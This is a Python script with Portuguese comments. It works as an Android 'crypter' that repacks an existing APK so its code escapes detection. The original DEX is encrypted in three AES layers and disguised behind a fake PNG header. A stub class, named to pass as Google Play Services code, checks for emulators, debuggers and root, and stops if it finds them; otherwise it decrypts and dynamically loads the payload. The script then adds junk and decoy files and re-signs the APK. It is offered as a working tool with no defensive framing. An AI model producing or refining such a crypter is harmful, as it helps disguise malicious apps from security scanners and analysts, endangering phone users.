#!/usr/bin/env python3


import os, sys, subprocess, zipfile, shutil, tempfile, datetime, re, random, string
from xml.sax.saxutils import escape as xml_escape
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding, hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.backends import default_backend
from cryptography import x509
from cryptography.x509.oid import NameOID

# ═══════════════ CONFIGURAÇÕES ═══════════════
AAPT          = "aapt"
ANDROID_JAR   = r"C:\AndroidSDK\platforms\android-34\android.jar"
STUB_DEX      = "stub.dex"
KEYSTORE_PK8  = "keystore.pk8"
KEYSTORE_PEM  = "keystore.pem"

LAYERS                = 3
INJECT_JUNK           = True
JUNK_TOTAL_MB         = 2.5
JUNK_FILE_COUNT       = 10
SHUFFLE_ENTRIES       = True
FAKE_PAYLOADS         = 3
FIXED_DATE            = (2000, 1, 1)

ANTI_ANALYSIS         = True
STRING_OBFUSCATION    = True
CAMOUFLAGE_PAYLOAD    = True
# ══════════════════════════════════════════════

def run_cmd(cmd, check=True):
    print("[*] Executando:", " ".join(cmd))
    proc = subprocess.run(cmd, capture_output=True)
    stdout = proc.stdout.decode('utf-8', errors='replace') if proc.stdout else ''
    stderr = proc.stderr.decode('utf-8', errors='replace') if proc.stderr else ''
    if check and proc.returncode != 0:
        print("=== STDOUT ===")
        print(stdout)
        print("=== STDERR ===")
        print(stderr)
        raise subprocess.CalledProcessError(proc.returncode, cmd, output=stdout, stderr=stderr)
    return type('Result', (object,), {'stdout': stdout, 'stderr': stderr})()

def find_tool(name):
    tool = shutil.which(name)
    if tool: return tool
    aapt_path = shutil.which(AAPT)
    if aapt_path:
        base = os.path.dirname(aapt_path)
        for ext in (".bat", ".exe", ""):
            candidate = os.path.join(base, name + ext)
            if os.path.isfile(candidate): return candidate
    raise FileNotFoundError(f"{name} não encontrado.")

def find_d8():    return find_tool("d8")
def find_zipalign(): return find_tool("zipalign")
def find_apksigner(): return find_tool("apksigner")

def random_name(prefix="", length=8):
    return prefix + ''.join(random.choices(string.ascii_lowercase, k=length))

def xor_bytes(data, key):
    return bytes([b ^ key for b in data])

# ────────────────────────── STUB ──────────────────────────
def generate_polymorphic_stub(layers, camouflage):
    class_name = random_name("C", 10)
    get_payload = random_name("gP", 8)
    get_dex = random_name("gD", 8)
    get_meta = random_name("gM", 8)
    safe_env = random_name("isOk", 10)

    payload_name = "payload.dat"
    dex_name = "original.dex"
    meta_name = "original_main_activity"

    if STRING_OBFUSCATION:
        xor_key = random.randint(1, 255)
        payload_bytes = xor_bytes(payload_name.encode(), xor_key)
        dex_bytes = xor_bytes(dex_name.encode(), xor_key)
        meta_bytes = xor_bytes(meta_name.encode(), xor_key)
        payload_init = f'new String(new byte[]{{{", ".join(f"(byte)0x{b:02X}" for b in payload_bytes)}}}, java.nio.charset.StandardCharsets.UTF_8)'
        dex_init = f'new String(new byte[]{{{", ".join(f"(byte)0x{b:02X}" for b in dex_bytes)}}}, java.nio.charset.StandardCharsets.UTF_8)'
        meta_init = f'new String(new byte[]{{{", ".join(f"(byte)0x{b:02X}" for b in meta_bytes)}}}, java.nio.charset.StandardCharsets.UTF_8)'
    else:
        payload_init = f'"{payload_name}"'
        dex_init = f'"{dex_name}"'
        meta_init = f'"{meta_name}"'

    anti_code = f'''
    private boolean {safe_env}() {{
        try {{
            String fp = (String) Class.forName("android.os.Build").getField("FINGERPRINT").get(null);
            if (fp.startsWith("generic") || fp.startsWith("unknown") ||
                fp.contains("google_sdk") || fp.contains("Emulator") ||
                fp.contains("Android SDK built for x86")) return false;
            String manufacturer = (String) Class.forName("android.os.Build").getField("MANUFACTURER").get(null);
            if (manufacturer.contains("Genymotion")) return false;
            Class<?> debug = Class.forName("android.os.Debug");
            if ((boolean) debug.getMethod("isDebuggerConnected").invoke(null)) return false;
            if ((getApplicationInfo().flags & 0x2) != 0) return false;
            File f = new File("/system/bin/su");
            File f2 = new File("/sbin/magisk");
            if (f.exists() || f2.exists()) return false;
        }} catch (Exception e) {{ }}
        return true;
    }}''' if ANTI_ANALYSIS else f'private boolean {safe_env}() {{ return true; }}'

    payload_reader = '''
        InputStream enc = getAssets().open(payloadName);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        byte[] buffer = new byte[4096];
        int n;
        while ((n = enc.read(buffer)) != -1) baos.write(buffer, 0, n);
        enc.close();
        byte[] data = baos.toByteArray();'''
    if camouflage:
        payload_reader += '''
        if (data.length > 12 && data[0] == (byte)0x89) {
            int pos = data.length - 4;
            while (pos >= 0) {
                if (data[pos] == 'I' && data[pos+1] == 'E' && data[pos+2] == 'N' && data[pos+3] == 'D')
                    break;
                pos--;
            }
            if (pos >= 0) data = java.util.Arrays.copyOfRange(data, pos + 8, data.length);
        }'''

    extra_import = "import java.nio.charset.StandardCharsets;" if STRING_OBFUSCATION else ""

    java = f'''package com.google.android.gms.common.internal;

import android.app.Application;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import java.io.*;
import java.util.Random;
{extra_import}

public class {class_name} extends Application {{
    private String {get_payload}() {{ return {payload_init}; }}
    private String {get_dex}()     {{ return {dex_init}; }}
    private String {get_meta}()    {{ return {meta_init}; }}
{anti_code}

    private void junk1() {{ int a = new Random().nextInt(); if (a == 0) junk2(); }}
    private void junk2() {{ String s = "" + System.currentTimeMillis(); }}
    private void junk3() {{ try {{ Thread.sleep(0); }} catch (Exception e) {{}} }}
    private void junk4() {{ File f = new File("/"); f.exists(); }}
    private void junk5() {{ junk1(); junk3(); }}

    @Override
    public void onCreate() {{
        super.onCreate();
        junk5();
        try {{
            if (!{safe_env}()) return;
            String payloadName = {get_payload}();
            String dexName = {get_dex}();
            String metaName = {get_meta}();

            File dexFile = new File(getPackageCodePath());
            int keyBlockSize = {layers} * 48 + 1;
            byte[] kb = new byte[keyBlockSize];
            java.io.RandomAccessFile raf = new java.io.RandomAccessFile(dexFile, "r");
            raf.seek(raf.length() - keyBlockSize);
            raf.readFully(kb);
            raf.close();

            byte xb = kb[keyBlockSize - 1];
            byte[] ek = new byte[keyBlockSize - 1];
            System.arraycopy(kb, 0, ek, 0, keyBlockSize - 1);
            for (int i = 0; i < ek.length; i++) ek[i] ^= xb;

            byte[][] keys = new byte[{layers}][32];
            byte[][] ivs  = new byte[{layers}][16];
            for (int layer = 0; layer < {layers}; layer++) {{
                int off = layer * 48;
                System.arraycopy(ek, off, keys[layer], 0, 32);
                System.arraycopy(ek, off + 32, ivs[layer], 0, 16);
            }}

            {payload_reader}

            for (int layer = {layers} - 1; layer >= 0; layer--) {{
                Class<?> cipherClass = Class.forName("javax.crypto.Cipher");
                Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES/CBC/PKCS5Padding");
                Class<?> keySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec");
                Object keyObj = keySpecClass.getConstructor(byte[].class, String.class).newInstance(keys[layer], "AES");
                Class<?> ivSpecClass = Class.forName("javax.crypto.spec.IvParameterSpec");
                Object ivObj = ivSpecClass.getConstructor(byte[].class).newInstance(ivs[layer]);
                cipherClass.getMethod("init", int.class, java.security.Key.class, java.security.spec.AlgorithmParameterSpec.class)
                    .invoke(cipher, 2, keyObj, ivObj);
                data = (byte[]) cipherClass.getMethod("doFinal", byte[].class).invoke(cipher, data);
            }}

            File tmpDir = getDir("odex", 0);
            File payloadFile = new File(tmpDir, dexName);
            java.io.FileOutputStream fos = new java.io.FileOutputStream(payloadFile);
            fos.write(data);
            fos.close();

            ApplicationInfo ai = getPackageManager().getApplicationInfo(getPackageName(), 128);
            String mainActivity = ai.metaData.getString(metaName);

            Class<?> dclClass = Class.forName("dalvik.system.DexClassLoader");
            Object dcl = dclClass.getConstructor(String.class, String.class, String.class, ClassLoader.class)
                .newInstance(payloadFile.getAbsolutePath(), tmpDir.getAbsolutePath(), null, getClassLoader());
            Intent intent = new Intent(this, Class.forName(mainActivity));
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            startActivity(intent);
        }} catch (Exception e) {{ }}
    }}
}}
'''
    return java, class_name

def compile_stub():
    if os.path.exists(STUB_DEX):
        os.remove(STUB_DEX)
    java_code, main_class = generate_polymorphic_stub(LAYERS, CAMOUFLAGE_PAYLOAD)
    java_filename = f"{main_class}.java"
    with open(java_filename, "w", encoding="utf-8") as f:
        f.write(java_code)
    run_cmd(["javac", "--release", "11", "-cp", ANDROID_JAR, "-d", ".", java_filename])
    class_path = f"com/google/android/gms/common/internal/{main_class}.class"
    if not os.path.exists(class_path):
        raise FileNotFoundError(f"Classe compilada não encontrada: {class_path}")
    d8 = find_d8()
    run_cmd([d8, "--lib", ANDROID_JAR, "--output", ".", class_path])
    if os.path.exists("classes.dex"):
        if os.path.exists(STUB_DEX): os.remove(STUB_DEX)
        os.rename("classes.dex", STUB_DEX)
    else:
        raise RuntimeError("Falha ao gerar classes.dex")
    return main_class

# ────────────────── MANIFESTO (com uses-sdk) ──────────────────
def get_apk_info(apk_path):
    result = run_cmd([AAPT, "dump", "badging", apk_path])
    out = result.stdout
    info = {}
    for line in out.splitlines():
        if line.startswith("package:"):
            m = re.search(r"name='([^']+)'", line)
            if m: info['package'] = m.group(1)
            m = re.search(r"versionCode='([^']+)'", line)
            if m: info['versionCode'] = m.group(1)
            m = re.search(r"versionName='([^']+)'", line)
            if m: info['versionName'] = m.group(1)
        elif line.startswith("launchable-activity:"):
            m = re.search(r"name='([^']+)'", line)
            if m: info['mainActivity'] = m.group(1)
        elif line.startswith("sdkVersion:"):
            m = re.search(r"'(\d+)'", line)
            if m: info['minSdkVersion'] = m.group(1)
        elif line.startswith("targetSdkVersion:"):
            m = re.search(r"'(\d+)'", line)
            if m: info['targetSdkVersion'] = m.group(1)
    if 'minSdkVersion' not in info: info['minSdkVersion'] = '23'
    # Forçamos targetSdkVersion 34 (ou o original, se for maior)
    info['targetSdkVersion'] = '34'
    return info

def parse_original_manifest(apk_path):
    result = run_cmd([AAPT, "dump", "xmltree", apk_path, "AndroidManifest.xml"])
    out = result.stdout
    permissions = []
    activities = []
    services = []
    receivers = []
    providers = []
    application_attrs = {}
    current_component = None
    capture_attrs = False
    attr_pattern = re.compile(r'(\S+?)(?:\(0x[0-9a-fA-F]+\))?="((?:[^"\\]|\\.)*)"')

    for line in out.splitlines():
        line = line.strip()
        if line.startswith('E: uses-permission'):
            m = re.search(r'name="([^"]+)"', line)
            if m: permissions.append(m.group(1))
        elif line.startswith('E: application'):
            for m in attr_pattern.finditer(line):
                application_attrs[m.group(1)] = m.group(2)
            capture_attrs = False
        elif line.startswith('E: activity'):
            current_component = {'tag': 'activity'}
            activities.append(current_component)
            capture_attrs = True
        elif line.startswith('E: service'):
            current_component = {'tag': 'service'}
            services.append(current_component)
            capture_attrs = True
        elif line.startswith('E: receiver'):
            current_component = {'tag': 'receiver'}
            receivers.append(current_component)
            capture_attrs = True
        elif line.startswith('E: provider'):
            current_component = {'tag': 'provider'}
            providers.append(current_component)
            capture_attrs = True
        elif line.startswith('E: '):  # subelementos
            capture_attrs = False
            current_component = None
        elif line.startswith('A: ') and capture_attrs and current_component is not None:
            for m in attr_pattern.finditer(line):
                key = m.group(1)
                val = m.group(2)
                if ':' not in key:
                    key = 'android:' + key
                current_component[key] = val

    return {
        'permissions': permissions,
        'activities': activities,
        'services': services,
        'receivers': receivers,
        'providers': providers,
        'application_attrs': application_attrs
    }

def component_to_xml(tag, attrs):
    clean = {}
    for k, v in attrs.items():
        if k == 'tag': continue
        if ':' not in k:
            k = 'android:' + k
        clean[k] = xml_escape(v)
    attr_str = ' '.join(f'{k}="{v}"' for k, v in clean.items())
    return f'<{tag} {attr_str}/>'

def build_manifest_xml(info, components, stub_class_name):
    package = info['package']
    versionCode = info['versionCode']
    versionName = info['versionName']
    mainActivity = info['mainActivity']
    minSdk = info.get('minSdkVersion', '23')
    targetSdk = info.get('targetSdkVersion', '34')

    app_attrs = components['application_attrs']
    perm_lines = ''.join(f'<uses-permission android:name="{xml_escape(p)}"/>\n' for p in components['permissions'])
    comp_lines = ''
    for act in components['activities']:
        comp_lines += '        ' + component_to_xml('activity', act) + '\n'
    for sr in components['services']:
        comp_lines += '        ' + component_to_xml('service', sr) + '\n'
    for rec in components['receivers']:
        comp_lines += '        ' + component_to_xml('receiver', rec) + '\n'
    for prov in components['providers']:
        comp_lines += '        ' + component_to_xml('provider', prov) + '\n'

    app_attrs_copy = dict(app_attrs)
    app_attrs_copy['android:name'] = f'com.google.android.gms.common.internal.{stub_class_name}'
    final_app_attrs = {}
    for k, v in app_attrs_copy.items():
        if ':' not in k:
            k = 'android:' + k
        final_app_attrs[k] = xml_escape(v)
    app_attr_str = ' '.join(f'{k}="{v}"' for k, v in final_app_attrs.items())

    xml = f'''<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="{xml_escape(package)}"
    android:versionCode="{xml_escape(versionCode)}"
    android:versionName="{xml_escape(versionName)}">

    <uses-sdk android:minSdkVersion="{xml_escape(minSdk)}" android:targetSdkVersion="{xml_escape(targetSdk)}" />
    {perm_lines}
    <application {app_attr_str}>
        <meta-data android:name="original_main_activity" android:value="{xml_escape(mainActivity)}"/>
{comp_lines}
    </application>
</manifest>'''
    return xml

def compile_manifest_only(manifest_xml):
    with open("debug_manifest.xml", "w", encoding="utf-8") as f:
        f.write(manifest_xml)
    print("\n[DEBUG] XML do manifesto gerado (também salvo em debug_manifest.xml):")
    print(manifest_xml)
    print("\n")

    tmpdir = tempfile.mkdtemp()
    manifest_path = os.path.join(tmpdir, "AndroidManifest.xml")
    with open(manifest_path, "w", encoding="utf-8") as f:
        f.write(manifest_xml)
    output_apk = os.path.join(tmpdir, "out.apk")
    try:
        run_cmd([AAPT, "package", "-M", manifest_path, "-I", ANDROID_JAR, "-F", output_apk])
    except subprocess.CalledProcessError as e:
        print("\n[!] Erro ao compilar o manifesto (veja debug_manifest.xml).")
        raise e
    with zipfile.ZipFile(output_apk, 'r') as z:
        manifest_bin = z.read('AndroidManifest.xml')
    shutil.rmtree(tmpdir)
    return manifest_bin

# ────────────────── CRIPTOGRAFIA E ASSINATURA ──────────────────
def multi_layer_encrypt(plain_data, layers):
    all_keys_ivs = b''
    current_data = plain_data
    for _ in range(layers):
        key = os.urandom(32)
        iv  = os.urandom(16)
        all_keys_ivs += key + iv
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        padder = padding.PKCS7(128).padder()
        padded = padder.update(current_data) + padder.finalize()
        current_data = encryptor.update(padded) + encryptor.finalize()
    xor_byte = random.randint(0, 255)
    xored = bytes(b ^ xor_byte for b in all_keys_ivs)
    return current_data, xored + bytes([xor_byte])

def load_or_create_keystore():
    if os.path.exists(KEYSTORE_PK8) and os.path.exists(KEYSTORE_PEM):
        return
    private_key = rsa.generate_private_key(65537, 2048)
    with open(KEYSTORE_PK8, "wb") as f:
        f.write(private_key.private_bytes(
            encoding=serialization.Encoding.DER,
            format=serialization.PrivateFormat.PKCS8,
            encryption_algorithm=serialization.NoEncryption()
        ))
    subject = issuer = x509.Name([
        x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
        x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Android"),
        x509.NameAttribute(NameOID.COMMON_NAME, u"Android Debug"),
    ])
    cert = x509.CertificateBuilder().subject_name(subject).issuer_name(issuer).public_key(
        private_key.public_key()).serial_number(x509.random_serial_number()).not_valid_before(
        datetime.datetime.now(datetime.UTC)).not_valid_after(
        datetime.datetime.now(datetime.UTC) + datetime.timedelta(days=10000)
    ).sign(private_key, hashes.SHA256())
    with open(KEYSTORE_PEM, "wb") as f:
        f.write(cert.public_bytes(serialization.Encoding.PEM))

def sign_apk(apk_path):
    load_or_create_keystore()
    apksigner = find_apksigner()
    run_cmd([apksigner, "sign", "--key", KEYSTORE_PK8, "--cert", KEYSTORE_PEM, apk_path])

def camouflage_payload(encrypted_data):
    png_header = bytes([0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A])
    ihdr = bytes.fromhex("0000000D 49484452 00000001 00000001 0802 00000000 12b405".replace(" ", ""))
    idat = bytes.fromhex("00000000 49444154 00000000 00000000".replace(" ", ""))
    iend = bytes([0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, 0xAE, 0x42, 0x60, 0x82])
    return png_header + ihdr + idat + iend + encrypted_data

# ────────────────── EMPACOTAMENTO ──────────────────
def build_final_apk(extract_dir, output_apk, manifest_bin, stub_with_keys, encrypted_payload, payload_name):
    fixed_date = datetime.datetime(*FIXED_DATE)
    entries = []
    added_names = set()

    for root, dirs, files in os.walk(extract_dir):
        for f in files:
            full = os.path.join(root, f)
            rel = os.path.relpath(full, extract_dir).replace('\\', '/')
            if rel == 'AndroidManifest.xml' or rel == 'classes.dex':
                continue
            if rel.startswith('META-INF/'):
                continue
            with open(full, 'rb') as fh:
                data = fh.read()
            entries.append((rel, data))
            added_names.add(rel)

    entries.append(('AndroidManifest.xml', manifest_bin))
    entries.append(('classes.dex', stub_with_keys))

    final_payload = camouflage_payload(encrypted_payload) if CAMOUFLAGE_PAYLOAD else encrypted_payload
    entries.append((payload_name, final_payload))
    added_names.add(payload_name)

    for i in range(FAKE_PAYLOADS):
        fname = f"assets/data_{random.randint(1000,9999)}.dat"
        if fname not in added_names:
            size = max(0, len(encrypted_payload) + random.randint(-256, 256))
            entries.append((fname, os.urandom(size)))
            added_names.add(fname)

    if INJECT_JUNK:
        big_size = int(JUNK_TOTAL_MB * 1024 * 1024)
        entries.append((f"assets/libcore_{random.randint(1000,9999)}.so", os.urandom(big_size)))
        for _ in range(JUNK_FILE_COUNT):
            name = f"assets/cache_{random.randint(1000,9999)}.bin"
            if name not in added_names:
                entries.append((name, os.urandom(random.randint(512, 4096))))
                added_names.add(name)

    if SHUFFLE_ENTRIES:
        random.shuffle(entries)

    with zipfile.ZipFile(output_apk, 'w', zipfile.ZIP_DEFLATED) as zout:
        for name, data in entries:
            info = zipfile.ZipInfo(name)
            info.date_time = fixed_date.timetuple()[:6]
            info.external_attr = 0o644 << 16
            compress = zipfile.ZIP_STORED if name == 'resources.arsc' else zipfile.ZIP_DEFLATED
            zout.writestr(info, data, compress_type=compress)

# ══════════════════════ MAIN ══════════════════════
def main():
    if len(sys.argv) != 3:
        print("Uso: python crypter_android.py entrada.apk saida.apk")
        sys.exit(1)

    input_apk = sys.argv[1]
    output_apk = sys.argv[2]

    stub_class_name = compile_stub()
    print(f"[*] Stub compilado: classe = {stub_class_name}")

    extract_dir = tempfile.mkdtemp(prefix="orig_apk_")
    with zipfile.ZipFile(input_apk, 'r') as z:
        z.extractall(extract_dir)

    info = get_apk_info(input_apk)
    required = ('package', 'versionCode', 'versionName', 'mainActivity')
    if not all(k in info for k in required):
        print("[!] Informações insuficientes do APK original.")
        sys.exit(1)
    print(f"[*] Package: {info['package']}")

    components = parse_original_manifest(input_apk)

    manifest_xml = build_manifest_xml(info, components, stub_class_name)
    manifest_bin = compile_manifest_only(manifest_xml)

    with open(os.path.join(extract_dir, 'classes.dex'), 'rb') as f:
        original_dex = f.read()
    encrypted_payload, keys_block = multi_layer_encrypt(original_dex, LAYERS)

    with open(STUB_DEX, 'rb') as f:
        stub_raw = f.read()
    stub_with_keys = stub_raw + keys_block
    print(f"[*] DEX cifrado: {len(original_dex)} → {len(encrypted_payload)} bytes")

    payload_name = "assets/payload.dat"
    tmp_apk = output_apk + '.tmp'
    build_final_apk(extract_dir, tmp_apk, manifest_bin, stub_with_keys, encrypted_payload, payload_name)

    aligned = output_apk + '.aligned'
    run_cmd([find_zipalign(), '-f', '4', tmp_apk, aligned])
    os.replace(aligned, tmp_apk)

    sign_apk(tmp_apk)
    os.replace(tmp_apk, output_apk)

    shutil.rmtree(extract_dir, ignore_errors=True)
    for f in [f"{stub_class_name}.java", STUB_DEX]:
        if os.path.exists(f): os.remove(f)

    print(f"\n[✔] APK ofuscado gerado: {output_apk}")
    print("[+] Nome e ícone originais preservados.")
    print("[+] targetSdkVersion=34 (compatível com proteções de privacidade).")
    print("[+] Keystore fixa reutilizada.")
    print("[+] Tamanho final:", os.path.getsize(output_apk), "bytes")

if __name__ == '__main__':
    main()